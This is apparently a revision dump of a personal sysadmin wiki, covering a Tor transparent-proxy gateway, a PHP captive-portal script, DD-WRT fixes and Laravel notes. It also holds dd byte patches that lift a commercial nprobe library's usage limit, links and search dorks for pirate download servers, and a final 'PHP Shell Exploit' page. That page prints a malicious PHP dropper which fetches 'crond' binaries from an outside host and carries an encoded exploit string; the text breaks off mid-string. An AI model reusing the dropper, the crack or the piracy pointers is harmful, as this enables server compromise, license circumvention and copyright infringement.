ExecStop = /bin/kill -INT ${MAINPID}
TimeoutSec = 30
Restart = on-failure
LimitNOFILE = 4096

[Install]
WantedBy = multi-user.target
</syntaxhighlight>

Enable and start the TOR service.
systemctl enable tor.service
systemctl start tor.service

Create the firewall configuration script (firewall.sh):
<syntaxhighlight lang="bash">
#!/bin/sh

IPT=/usr/sbin/iptables
TOR_UID=998
TOR_NET=192.168.192.0/24
TOR_IF=eno33554952
OUT_IF=eno16777728

$IPT -F
$IPT -t nat -F

# Connections cannot be forwarded from one network to another.
$IPT -A FORWARD -i $TOR_IF -j REJECT

# Accept HTTP traffic for web service running on this host.
$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -d 192.168.192.1 --dport 80 -j ACCEPT

# Accept DNS traffic (handled by dnsmasq which goes to 1.1.1.1)
$IPT -t nat -A PREROUTING -i $TOR_IF -p udp -d 192.168.192.1 --dport 53 -j ACCEPT

# DNSMasq will send DNS queries to 1.1.1.1 which will be routed to the TOR DNS service
$IPT -t nat -A OUTPUT -p udp -d 1.1.1.1 --dport 53 -j DNAT --to-destination 192.168.192.1:5353

# Client chain. Append clients who should have access to this chain.
$IPT -t nat -X tor_clients
$IPT -t nat -N tor_clients
$IPT -t nat -A PREROUTING -i $TOR_IF -j tor_clients

# Allow all clients to connect.
# $IPT -t nat -A tor_clients -i $TOR_IF -p udp --dport 53 -j REDIRECT --to-ports 53
# $IPT -t nat -A tor_clients -i $TOR_IF -p tcp --syn -j REDIRECT --to-ports 9040

# Allow a specific client to connect.
$IPT -t nat -A tor_clients -i $TOR_IF -p udp -s 192.168.192.128 --dport 53 -j REDIRECT --to-ports 53
$IPT -t nat -A tor_clients -i $TOR_IF -p tcp -s 192.168.192.128 --syn -j REDIRECT --to-ports 9040

# Allow the 1.1.1.1 DNS redirection (UDP to the TOR server IP)
# Allow DNS to TOR 5353 service. Allow DNS from this host to the subnet.
$IPT -A OUTPUT -p udp --dport 5353 -j ACCEPT
$IPT -A OUTPUT -p udp -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT

# Allow web service
$IPT -A OUTPUT -p tcp --sport 80 -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT

# Allow this talking to internal network
$IPT -A OUTPUT -p tcp -s 10.1.3.39 -d 10.1.1.0/22 -j ACCEPT

# Allow TOR
$IPT -A OUTPUT -m owner --uid-owner $TOR_UID -j ACCEPT
$IPT -A OUTPUT -j LOG --log-prefix "drop: " --log-level 4
$IPT -A OUTPUT -j REJECT

</syntaxhighlight>

Run the firewall script above to set up IPTables.

The TOR gateway should now be operational.

TOR Transparent Proxy

2015-08-17T07:49:17Z

10.1.1.3:

TOR Transparent Proxy

2015-08-17T07:47:30Z

10.1.1.3:

TOR Transparent Proxy

2015-08-17T07:43:27Z

10.1.1.3: Created page with "This article will go through the steps necessary to set up a gateway machine that transparently routes traffic through the TOR network. The goal is to have a subnet that will..."

Tor Wifi Gateway

2015-08-17T01:43:46Z

10.1.1.3:

== Introduction ==

The Tor Wifi Gateway is a open wifi access point that lets users connect to the internet via Tor. The purpose of this is to create a gateway which transparently proxies traffic over to Tor (which intrinsically is useful for other projects), perhaps share internet access to neighbors, and perhaps provide access to my stash without authentication.

{| class="wikitable"
|-
! What !! Configuration
|-
| External Network Interface (to internet) || eth0 (10.1.1.11)
|-
| Internal Network Interface (to wifi access point) || eth1 (192.168.192.10, 192.168.192.11)
|}

== Setup ==

# Tor Setup: https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy#LocalRedirectionandAnonymizingMiddlebox1
# DHCP / DNS proxy for the wifi subnet

=== TOR ===
Edit the <code>/etc/tor/torrc</code> configuration to contain the following lines:

<syntaxhighlight lang="text" line start="1" enclose="div">
VirtualAddrNetwork 10.192.0.0/10
AutomapHostsOnResolve 1

TransPort 9040
TransListenAddress 192.168.192.10

DNSPort 53
DNSListenAddress 192.168.192.11
</syntaxhighlight>

I've placed the DNS server on a separate IP because I will be using <code>dnsmasq</code> as my 'primary' DNS server that users will be using since I wanted my own portal/splash page with my own domain name (ie: torified.wifi).

==== Troubleshooting ====
If you are having trouble starting tor as a service with it complaining about being unable to listen on a specific port, ensure you have SELinux configured (or disabled).

=== DHCP / DNS Server ===
We will be using <code>[[dnsmasq]]</code> as the DHCP/DNS server.

<syntaxhighlight lang="text" line start="1" enclose="div">
listen-address=192.168.192.10
port=53

strict-order
no-resolv

# IPTables will route this back to 192.168.192.11.
# Doing this because dnsmasq refuses to listen to a local interface.
server=172.19.19.19

interface=eth1
address=/torified.wifi/192.168.192.10

dhcp-script=/scripts/dnsmasq_dhcp
dhcp-range=192.168.192.20,192.168.192.250,2h
dhcp-option=6,192.168.192.10
dhcp-option=3,192.168.192.10
no-dhcp-interface=eth0

domain=torified.wifi
log-queries
log-dhcp

# Define hosts
dhcp-host=00:0c:29:0f:a7:ab,win7vm,192.168.192.2,6h
</syntaxhighlight>
For more information on DNSMasq, see [[Dnsmasq]]

Notice that the DNS server is 172.19.19.19 -- this IP does not in fact exist in my network. I will use IPTables (see below) to redirect this traffic to TOR. Reason I am using this IP is because it is not on the interface since dnsmasq will complain otherwise.

dnsmasq is configured to run the DHCP script at <code>/scripts/dnsmasq_dhcp</code>. This script basically ensures that the client gets 'unregistered' from the network when their lease times out or when they reconnect which will force them to my splash page. The contents of the script is quite simple:

<syntaxhighlight lang="bash" line start="1" enclose="div">

#!/bin/sh

if [ $# -ne 3 -a $# -ne 4 ] ; then
echo "Usage: dnsmasq_dhcp <add|del> <mac> <ip> [hostname]"
exit
fi

TOR_IF="eth1"
Action=$1
IP=$3

# We want to remove them when they lose their lease...
if [[ "$Action" = "del" ]] || [[ "$Action" = "old" ]] ; then
/sbin/iptables -t nat -D tor_clients -p tcp -s $IP --syn -j REDIRECT --to-ports 9040
/sbin/iptables -t nat -D tor_clients -p udp -s $IP --dport 53 -j REDIRECT --to-ports 53
fi

</syntaxhighlight>

=== IPTables ===
<syntaxhighlight lang="bash" line start="1" enclose="div">
#!/bin/sh

IPT=/sbin/iptables
TOR_UID=109
TOR_NET=192.168.192.0/24
TOR_IF=eth1
OUT_IF=eth0

$IPT -F
$IPT -t nat -F

# Connections from WifiNet must go directly to the gateway.
# Nothing can go directly to the world.
$IPT -A FORWARD -i $TOR_IF -j REJECT

# This gateway will redirect gateway traffic through TOR
$IPT -t nat -X tor_clients
$IPT -t nat -N tor_clients

$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -d 192.168.192.10 --dport 80 -j ACCEPT
$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -d 192.168.192.10 --dport 53 -j ACCEPT
$IPT -t nat -A PREROUTING -i $TOR_IF -p udp -d 192.168.192.10 --dport 53 -j ACCEPT
$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -d 192.168.192.10 --dport 443 -j ACCEPT
$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -d 192.168.192.11 --dport 80 -j ACCEPT
$IPT -t nat -A PREROUTING -i $TOR_IF -j tor_clients
$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -j DNAT --to-destination 192.168.192.10:80

# Redirect dns traffic going to 172.19.19.19:53 to 192.168.192.11:53
# because dnsmasq refuses to listen to a local interface
$IPT -t nat -A OUTPUT -p udp -d 172.19.0.0/16 --dport 53 -j DNAT --to-destination 192.168.192.11:53
$IPT -t nat -A OUTPUT -p tcp -d 172.19.0.0/16 --dport 53 -j DNAT --to-destination 192.168.192.11:53

# Note: To route traffic for all hosts, use:
# $IPT -t nat -A PREROUTING -i $TOR_IF -p udp --dport 53 -j REDIRECT --to-ports 53
# $IPT -t nat -A PREROUTING -i $TOR_IF -p tcp --syn -j REDIRECT --to-ports 9040

# Allow specific hosts, bypass login screen
$IPT -t nat -I PREROUTING -i $TOR_IF -s 192.168.192.2 -p udp --dport 53 -j REDIRECT --to-ports 53
$IPT -t nat -I PREROUTING -i $TOR_IF -s 192.168.192.2 -p tcp --syn -j REDIRECT --to-ports 9040

$IPT -t nat -I PREROUTING -i $TOR_IF -s 192.168.192.3 -p udp --dport 53 -j REDIRECT --to-ports 53
$IPT -t nat -I PREROUTING -i $TOR_IF -s 192.168.192.3 -p tcp --syn -j REDIRECT --to-ports 9040

# To allow a new host, add the rules below for EVERY individual host:
# $IPT -t nat -I PREROUTING -i $TOR_IF -s $HOST -p udp --dport 53 -j REDIRECT --to-ports 53
# $IPT -t nat -I PREROUTING -i $TOR_IF -s $HOST -p tcp --syn -j REDIRECT --to-ports 9040
</syntaxhighlight>

To add additional clients that can access the TOR network, run the following lines per IP:
$IPT -t nat -I tor_clients -p tcp -s $IP --syn -j REDIRECT --to-ports 9040
$IPT -t nat -I tor_clients -p udp -s $IP --dport 53 -j REDIRECT --to-ports 53

To remove clients from access, run:
$IPT -t nat -D tor_clients -p tcp -s $IP --syn -j REDIRECT --to-ports 9040
$IPT -t nat -D tor_clients -p udp -s $IP --dport 53 -j REDIRECT --to-ports 53

== Splash Page ==

With the basic infrastructure set up, we will now just need to create the splash page which will show the users the TOS, before letting them 'register' onto the network (which will just add their IP to the tor_clients_chain, thereby enabling internet access). The dnsmasq lease time will cause the IPs to 'unregister' after the lease expires when the /scripts/dnsmasq_dhcp script gets executed.

I wrote a quick PHP script that does this (far from perfect, but it works). You will need to create the actual content pages, but that should be quite trivial.

<syntaxhighlight lang="php" line start="1" enclose="div">
<?php
// The name of your splash page
define("SITE_NAME", "TORified.wifi");

// The secret 'key' used to generate tokens
define("SECRET", "s3kr3tz");

// Path to binaries
define("SUDO_EXEC", "/usr/bin/sudo");
define("IPTABLES_EXEC", "/sbin/iptables");

$secret = isset($_POST['secret']) ? $_POST['secret'] : NULL;
$ip = $_SERVER['REMOTE_ADDR'];

include "pages/header.php";

if ($secret === NULL) {
include "pages/welcome.php";
} else {
if (is_valid_key($secret)) {
if (add_client($ip)) {
include "pages/registered.php";
} else {
include "pages/error_registered.php";
}
} else {
include "pages/error_timedout.php";
}
}

include "pages/footer.php";

//
// Generates a key
//
function generate_key() {
return md5(SECRET . date("Hi"));
}

//
// Verifies whether the key that was submitted on the form is valid.
// Keys expires after a minute.
//
function is_valid_key($secret) {
$hour = date("H");
$minute = date("i");

return ($secret == md5(SECRET . $hour . $minute)
|| $secret == md5(SECRET . $hour . ($minute - 1))
|| $secret == md5(SECRET . ($hour - 1) . ($minute - 1)));
}

//
// Adds a new client to the network by allowing their IP to access TOR
//
function add_client($IP) {
$rules = trim(shell_exec(SUDO_EXEC . " " . IPTABLES_EXEC . " -t nat -L|grep $IP | wc -l "));

// If we have more than 2 rules for this IP, they are probably registered already...
if ($rules < 2) {
shell_exec(SUDO_EXEC . " " . IPTABLES_EXEC . " -t nat -I tor_clients -p tcp -s $IP --syn -j REDIRECT --to-ports 9040 2>&1");
shell_exec(SUDO_EXEC . " " . IPTABLES_EXEC . " -t nat -I tor_clients -p udp -s $IP --dport 53 -j REDIRECT --to-ports 53 2>&1");

return TRUE;
}
return FALSE;
}

</syntaxhighlight>

[[Category:Linux]]
[[Category:Guides]]

Main Page

2015-07-24T07:09:27Z

10.1.1.3:

[[Special:Search|Search]] | [[Special:Upload|Upload]] | [[Special:Version|Version]]

== Linux ==
{{Navbox Linux}}

== Benchmarks ==
{{Navbox Benchmarks}}

== Others ==
Categories
* [[:Category:C-Sharp|C#]]
* [[:Category:FreeBSD|FreeBSD]]
* [[:Category:Solaris|Solaris]]
* [[:Category:VMWare ESXi|VMWare ESXi]]
* [[:Category:TipsnTricks|Tips & Tricks]]
* [[:Category:Services|Services]]
* [[:Category:Code|Code]]
* [[:Category:Guides|Guides]]
* [[:Category:Todo|Todo]]

Topics
* [[Cheat Sheet]]
* [[Troubleshoot]]
* [[ZFS]]
* [[BSD Jails]]
* [[Dying SSD]]
* [[Cobbler]]
* [[Salt]]
* [[Cdist]]
* [[Mail Server]]
* [[tcsh]]
* [[Elevator]]

Personal
* [[Recipes]]
* [[Shopping List]]

Other Sites
* [http://iplocation.truevue.org/ IP Lookup]

* http://sipb.mit.edu/doc/safe-shell/
* http://blog.kihltech.com/
* http://tech.superhappykittymeow.com/
* http://info.michael-simons.eu
* http://crashmag.net
* http://mywiki.wooledge.org/BashFAQ
* http://www.iptables.info/en/structure-of-iptables.html

Coin Exchange
* https://hitbtc.com/account
* https://poloniex.com/exchange#btc_bcn

Pirate Drops
* fredkodongo.ananke.feralhosting.com/index.html/
** ~200mbit. Some games and TV
* abdullah.stack.seedhost.eu/abdullah/downloads/?C=M;O=A
* ukuthemba.seedstuff.ca/?C=M;O=A
* dl.eveilmusical.ovh/Complete/?C=M;O=A
* beckwreck.hermes.feralhosting.com/links/deluge_data/

To find more, search:
inurl:feralhosting.com intitle:"Index of"
inurl:seedhost.eu intitle:"Index of"

* https://herbertmusoke.com

Not updated:
* instance.hypnos.feralhosting.com/data
** random stuff
* djoendi.co.vu/dunlud/
** games
* ks3352402.kimsufi.com/dl
* https://lsd-25.ru/uploads

* hxxp://ks3352402.kimsufi.com/dl/ ~70mbit, some movies, some tv, french
* hxxp://box.bob.sh/ misc stuff
* hxxp://blogs.hatrix.fr/download HD TV, french
* hxxp://87.252.164.6/Mof/ low quality TV
* hxxp://nivaldia.fr/torrent/Complete/Cloud%20Atlas/ - french stuff. tvs and movies.
* hxxp://metaldiamond.tk/private/Jeux/ some games, french stuff.

* dl.imontou.ch
** Alles auf Deutsch: TV, Movies, Games

* hxxp://xcloud.thib0704.net/thib/downloads some games, tv, movies
* hxxp://home.alexsoft-bg.com:8080/download/ misc

php fcgi
* http://blog.giantchipmunk.com/2011/01/setting-up-php-with-fastcgi-and-suexec.html

ByteCoin

2015-07-20T06:32:54Z

10.1.1.3: Created page with "How ByteCoin works: https://cryptonote.org/inside.php#equal-proof-of-work My Address: 29ZqkPYqohj4ucFQajWCgbLBbVNJeNTBidnJry6KvDnaiQV5hUH3HpFC5NaPEXAEbeS2VzXJxZarMGxL4JM1vawo..."

How ByteCoin works: https://cryptonote.org/inside.php#equal-proof-of-work

My Address: 29ZqkPYqohj4ucFQajWCgbLBbVNJeNTBidnJry6KvDnaiQV5hUH3HpFC5NaPEXAEbeS2VzXJxZarMGxL4JM1vawo6i8nbSb

Miner pool: http://bytecoin.miner.center/

Libgen

2015-07-18T01:42:58Z

10.1.1.3: Created page with "The Library Genesis, libgen for short, is the amazon for pirated ebooks and scientific journals. They are currently accessible at http://libgen.io (93.174.95.27) If the site..."

The Library Genesis, libgen for short, is the amazon for pirated ebooks and scientific journals.

They are currently accessible at http://libgen.io (93.174.95.27)

If the site is inaccessible, use: http://gen.lib.rus.ec or check the forums for news at https://genofond.org/

Patching a binary file with dd

2015-06-09T05:04:55Z

10.1.1.3:

Suppose I know an instruction in a particular offset after disassembling a binary file. You can use `dd` to change or patch a file like so.

dd if=nprobe bs=1 count=6 skip=$((0x1430C)) | xxd
6+0 records in
6+0 records out
6 bytes (6 B) copied, 0.000122275 s, 49.1 kB/s
0000000: 0f84 5401 0000 ..T...

I want to change the above from a jz to jnz like so:
echo "0F 85 54 01 00 00" | udcli -64 -x
0000000000000000 0f8554010000 jnz 0x15a

Overwrite the byte (or bytes) like so:
printf '\x0f\x85' | dd conv=notrunc of=nprobe bs=1 seek=$((0x1430C))
2+0 records in
2+0 records out
2 bytes (2 B) copied, 0.00097866 s, 2.0 kB/s

Verify:
[root@localhost bin]# dd if=nprobe bs=1 count=6 skip=$((0x1430C)) | xxd
6+0 records in
6+0 records out
6 bytes (6 B) copied, 0.000136555 s, 43.9 kB/s
0000000: 0f85 5401 0000 ..T...

To patch libnprobe so that it doesn't stop after 25000:
printf '\x3d\xff\xff\x7f\xff' | dd conv=notrunc of=/usr/local/lib/libnprobe-7.1.150608.so bs=1 seek=$((0x47ead))
dd if=/usr/local/lib/libnprobe-7.1.150608.so bs=1 count=6 skip=$((0x47ead)) | xxd
0000000: 3dff ff7f ff0f =.....

Patching a binary file with dd

2015-06-09T03:18:49Z

10.1.1.3: Created page with "Suppose I know an instruction in a particular offset after disassembling a binary file. You can use `dd` to change or patch a file like so. dd if=nprobe bs=1 count=6 skip=$(..."

DD-WRT Issues

2015-06-07T18:00:10Z

10.1.1.3: Created page with "My DD-WRT WRT54GL has been acting strange lately. Most of the symptoms appear as missing values on the web interface. The most obvious issue being the port forwarding table no..."

My DD-WRT WRT54GL has been acting strange lately. Most of the symptoms appear as missing values on the web interface. The most obvious issue being the port forwarding table not appearing or responding to add/remove commands. More recently, the WAN traffic graph no longer appears.

After probing around, the issue is the router running out of nvram. You can verify this by running:

root@DD-WRT:~# nvram show | grep size
size: 32776 bytes (-8 left)

If you dump the nvram, you can see what is actually stored on the router. Most of the data is filled with years of WAN traffic data. I cleared the WAN traffic data on the web interface (after creating a backup of course) and then restored only the current year's data to free up ~11Kb before rebooting the router.

root@DD-WRT:~# nvram show | grep size
size: 21622 bytes (11146 left)

After that, everything on the web interface appears to be working once again.

Laravel

2015-06-01T05:22:33Z

10.1.1.3:

== Installation ==
Download composer and create an alias so that `composer` launches composer:
wget -O - https://getcomposer.org/installer | php -- --install-dir=$HOME/tmp/
alias composer='php $HOME/tmp/composer.phar'

Set up the laravel project using composer:
composer create-project laravel/laravel projectname --prefer-dist

There are many useful commands that comes with laravel's artisan command line PHP script located in the root of the project directory. You may want to create an alias for artisan:
alias artisan='php artisan'

The initial laravel project will come with scaffolding project files which you may want to remove by running:
artisan fresh

Ensure that the webserver serving the laravel application has permission to write to the directories inside the `storagae` directory. If these directories are not writable by the webserver, no error messages will be displayed or logged.

=== Miscellaneous Tools ===
When working with Less or Sass, you may wish to use Laravel Elixir which utilizes gulp. Install gulp by running as root:
npm install --global gulp

You may also want to install bower, a package manager for web stuff
npm install --global bower

Then run on the root project directory:
npm install

or extra plugins with:
npm install gulp-minify-css --save-dev

==== Bootstrap ====
echo '{"directory": "vendor/bower_components"}' > .bowerrc
bower search bootstrap-sass
bower install bootstrap-sass-official --save

The bower files will now be in `vendor/bower_components/`

=== Troubleshooting ===
You can see what packages and dependencies were installed by running:
composer show -i

All HTTP routes can be listed using `artisan`:
artisan route:list

== Database ==
=== Migration ===
Migration is a way to define database schemas and schema changes using PHP. When used with a version control system, it is trivial to replicate, update, or revert database schemas on your local system.

When creating models using `artisan`, `artisan` will automatically create a migration for the table referenced by the new model. After defining the schema in the migration file, you can apply the schema by executing:
artisan migrate

You can reset (drop + re-migrate) using:
artisan migrate:reset

=== Database Seeding ===
The `DatabaseSeeder.php` file defines how the database is to be seeded, say after an initial migration. It is possible to import data from an existing database to your development database by executing raw SQL queries like so:

<syntaxhighlight lang="php">
class DatabaseSeeder extends Seeder {

/**
* Run the database seeds.
*
* @return void
*/
public function run()
{
Model::unguard();

$this->call('WordsTableSeeder');
}
}

class WordsTableSeeder extends Seeder {
public function run() {
DB::table('words')->delete();

DB::select(DB::raw("INSERT INTO chinese_laravel.words
(word, pronunciation, frequency)
SELECT word, pronunciation, frequency FROM chinese.word"));
}
}
</syntaxhighlight>

== Application ==
Most of your project files will end up inside the `app` and `resources` directory.

=== Configuration ===
Configurations are defined inside the `.env` file located in the root directory of your laravel project. Variables defined in this file override any that are defined in the application configuration files and is the recommended way of setting values.

=== Routing ===
All HTTP requests will go through to your `app/Http/` portion of your laravel project.

=== Models ===
Models are placed directly in the `app` directory and under the `App` namespace. When working with Models, reference them directly by their namespace or pull in the namespace.

=== Views ===

==== Forms ====
To use the Illuminate HTML package, pull in the `illuminate/html` dependency using Composer.
composer require illuminate/html

Add the service provider to your config/app.php provider list and create a new facade.
'Form' => 'Illuminate\Html\FormFacade',
'Html' => 'Illuminate\Html\HtmlFacade',

In the blade templates, you can now use:
{!! Form::open() !!}}
{!! Form::label('name', 'Name:') !!}}
{!! Form::text('name', 'default', ['class' => 'blah'] ) !!}}
{!! Form::close() !!}}

[[Category:Coding]]
[[Category:PHP]]

Laravel

2015-06-01T03:48:53Z

10.1.1.3:

== Installation ==
Download composer and create an alias so that `composer` launches composer:
wget -O - https://getcomposer.org/installer | php -- --install-dir=$HOME/tmp/
alias composer='php $HOME/tmp/composer.phar'

Set up the laravel project using composer:
composer create-project laravel/laravel projectname --prefer-dist

There are many useful commands that comes with laravel's artisan command line PHP script located in the root of the project directory. You may want to create an alias for artisan:
alias artisan='php artisan'

The initial laravel project will come with scaffolding project files which you may want to remove by running:
artisan fresh

Ensure that the webserver serving the laravel application has permission to write to the directories inside the `storagae` directory. If these directories are not writable by the webserver, no error messages will be displayed or logged.

=== Miscellaneous Tools ===
When working with Less or Sass, you may wish to use Laravel Elixir which utilizes gulp. Install gulp by running as root:
npm install --global gulp

Then run on the root project directory:
npm install

When working with bootstrap, place the Less files into `resources/assets/less` and edit the `gulpfile.js` file in the root project directory.

=== Troubleshooting ===
You can see what packages and dependencies were installed by running:
composer show -i

All HTTP routes can be listed using `artisan`:
artisan route:list

== Database ==
=== Migration ===
Migration is a way to define database schemas and schema changes using PHP. When used with a version control system, it is trivial to replicate, update, or revert database schemas on your local system.

When creating models using `artisan`, `artisan` will automatically create a migration for the table referenced by the new model. After defining the schema in the migration file, you can apply the schema by executing:
artisan migrate

You can reset (drop + re-migrate) using:
artisan migrate:reset

=== Database Seeding ===
The `DatabaseSeeder.php` file defines how the database is to be seeded, say after an initial migration. It is possible to import data from an existing database to your development database by executing raw SQL queries like so:

<syntaxhighlight lang="php">
class DatabaseSeeder extends Seeder {

/**
* Run the database seeds.
*
* @return void
*/
public function run()
{
Model::unguard();

$this->call('WordsTableSeeder');
}
}

class WordsTableSeeder extends Seeder {
public function run() {
DB::table('words')->delete();

DB::select(DB::raw("INSERT INTO chinese_laravel.words
(word, pronunciation, frequency)
SELECT word, pronunciation, frequency FROM chinese.word"));
}
}
</syntaxhighlight>

== Application ==
Most of your project files will end up inside the `app` and `resources` directory.

=== Configuration ===
Configurations are defined inside the `.env` file located in the root directory of your laravel project. Variables defined in this file override any that are defined in the application configuration files and is the recommended way of setting values.

=== Routing ===
All HTTP requests will go through to your `app/Http/` portion of your laravel project.

=== Models ===
Models are placed directly in the `app` directory and under the `App` namespace. When working with Models, reference them directly by their namespace or pull in the namespace.

=== Views ===

==== Forms ====
To use the Illuminate HTML package, pull in the `illuminate/html` dependency using Composer.
composer require illuminate/html

Add the service provider to your config/app.php provider list and create a new facade.
'Form' => 'Illuminate\Html\FormFacade',
'Html' => 'Illuminate\Html\HtmlFacade',

In the blade templates, you can now use:
{!! Form::open() !!}}
{!! Form::label('name', 'Name:') !!}}
{!! Form::text('name', 'default', ['class' => 'blah'] ) !!}}
{!! Form::close() !!}}

[[Category:Coding]]
[[Category:PHP]]

Laravel

2015-06-01T03:42:04Z

10.1.1.3:

== Installation ==
Download composer and create an alias so that `composer` launches composer:
wget -O - https://getcomposer.org/installer | php -- --install-dir=$HOME/tmp/
alias composer='php $HOME/tmp/composer.phar'

Set up the laravel project using composer:
composer create-project laravel/laravel projectname --prefer-dist

There are many useful commands that comes with laravel's artisan command line PHP script located in the root of the project directory. You may want to create an alias for artisan:
alias artisan='php artisan'

The initial laravel project will come with scaffolding project files which you may want to remove by running:
artisan fresh

Ensure that the webserver serving the laravel application has permission to write to the directories inside the `storagae` directory. If these directories are not writable by the webserver, no error messages will be displayed or logged.

=== Troubleshooting ===
You can see what packages and dependencies were installed by running:
composer show -i

All HTTP routes can be listed using `artisan`:
artisan route:list

== Database ==
=== Migration ===
Migration is a way to define database schemas and schema changes using PHP. When used with a version control system, it is trivial to replicate, update, or revert database schemas on your local system.

When creating models using `artisan`, `artisan` will automatically create a migration for the table referenced by the new model. After defining the schema in the migration file, you can apply the schema by executing:
artisan migrate

You can reset (drop + re-migrate) using:
artisan migrate:reset

=== Database Seeding ===
The `DatabaseSeeder.php` file defines how the database is to be seeded, say after an initial migration. It is possible to import data from an existing database to your development database by executing raw SQL queries like so:

<syntaxhighlight lang="php">
class DatabaseSeeder extends Seeder {

/**
* Run the database seeds.
*
* @return void
*/
public function run()
{
Model::unguard();

$this->call('WordsTableSeeder');
}
}

class WordsTableSeeder extends Seeder {
public function run() {
DB::table('words')->delete();

DB::select(DB::raw("INSERT INTO chinese_laravel.words
(word, pronunciation, frequency)
SELECT word, pronunciation, frequency FROM chinese.word"));
}
}
</syntaxhighlight>

== Application ==
Most of your project files will end up inside the `app` and `resources` directory.

=== Configuration ===
Configurations are defined inside the `.env` file located in the root directory of your laravel project. Variables defined in this file override any that are defined in the application configuration files and is the recommended way of setting values.

=== Routing ===
All HTTP requests will go through to your `app/Http/` portion of your laravel project.

=== Models ===
Models are placed directly in the `app` directory and under the `App` namespace. When working with Models, reference them directly by their namespace or pull in the namespace.

=== Views ===

==== Forms ====
To use the Illuminate HTML package, pull in the `illuminate/html` dependency using Composer.
composer require illuminate/html

Add the service provider to your config/app.php provider list and create a new facade.
'Form' => 'Illuminate\Html\FormFacade',
'Html' => 'Illuminate\Html\HtmlFacade',

In the blade templates, you can now use:
{!! Form::open() !!}}
{!! Form::label('name', 'Name:') !!}}
{!! Form::text('name', 'default', ['class' => 'blah'] ) !!}}
{!! Form::close() !!}}

[[Category:Coding]]
[[Category:PHP]]

Laravel

2015-06-01T03:34:15Z

10.1.1.3:

Laravel

2015-05-31T23:18:09Z

10.1.1.3:

== Installation ==
The composer command is an alias in the shell that executes `php composer.phar`. Similarly, artisan executes `php artisan`.

=== New Project ===
composer create-project laravel/laravel projectname --prefer-dist

To clear the scaffolding that comes with the clean install:
artisan fresh

You can see what packages and dependencies were installed by running:
composer show -i

== Usage ==

=== Views ===
==== Forms ====
Pull in the illuminate/html package.
composer require illuminate/html
Add the service provider to your config/app.php provider list and create a new facade.
'Form' => 'Illuminate\Html\FormFacade',
'Html' => 'Illuminate\Html\HtmlFacade',

In the blade templates, you can now use:
{!! Form::open() !!}}
{!! Form::label('name', 'Name:') !!}}
{!! Form::text('name', 'default', ['class' => 'blah'] ) !!}}
{!! Form::close() !!}}

[[Category:Coding]]
[[Category:PHP]]

PHP Shell Exploit

2015-05-08T04:46:14Z

10.1.1.3: /* Email Links */

<syntaxhighlight lang="php">
<?php
$key="1)#'ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK>a;q0HD.&QRz~@,TM-l(5JSitk/]2bu=d\"I<BEXfv*+";

$crondElf32 ='http://pages.touchpadz.com/crond32';
$crondElf64 ='http://pages.touchpadz.com/crond64';
$xdvsnExploitEnv = 'XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMG